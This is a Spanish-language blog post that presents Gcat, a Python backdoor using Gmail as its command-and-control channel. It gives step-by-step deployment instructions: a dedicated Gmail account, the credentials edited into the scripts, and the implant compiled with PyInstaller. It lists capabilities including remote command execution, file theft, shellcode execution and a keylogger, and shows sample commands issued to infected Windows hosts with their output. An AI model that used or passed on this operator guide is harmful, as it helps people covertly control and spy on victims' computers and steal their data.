Gcat, un backdoor escrito en Python que utiliza Gmail como C&C

Gcat es un backdoor escrito en Python que utiliza Gmail como servidor de comando y control (C&C). Para hacerlo funcionar primero necesitarás una cuenta de Gmail dedicada (¡no uses la tuya personal!) y activar "permitir aplicaciones menos seguras" en la configuración de la misma.

Luego en el repositorio de GitHub encontrarás dos archivos:

- gcat.py: un script usado para enumerar y listar los comandos disponibles del cliente
- implant.py: el backdoor real a desplegar

En ambos archivos, edita las variables gmail_user y gmail_pwd con el nombre de usuario y la contraseña correspondientes. Probablemente también querrás compilar implant.py en un archivo ejecutable utilizando PyInstaller.

Uso:

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Una vez que has implementado el backdoor en un par de sistemas, puedes comprobar los clientes disponibles utilizando el comando list:

#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

La salida es una cadena UUID que identifica de forma exclusiva el sistema y SO donde el backdoor se está ejecutando.

Ahora vamos a mandar un comando a un equipo infectado:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

Aquí le estamos diciendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 que ejecute ipconfig / all, luego el script mostrará el JobID que podremos utilizar para recuperar la salida de ese comando:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv     
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Fuente: https://github.com/byt3bl33d3r/gcat

Comentarios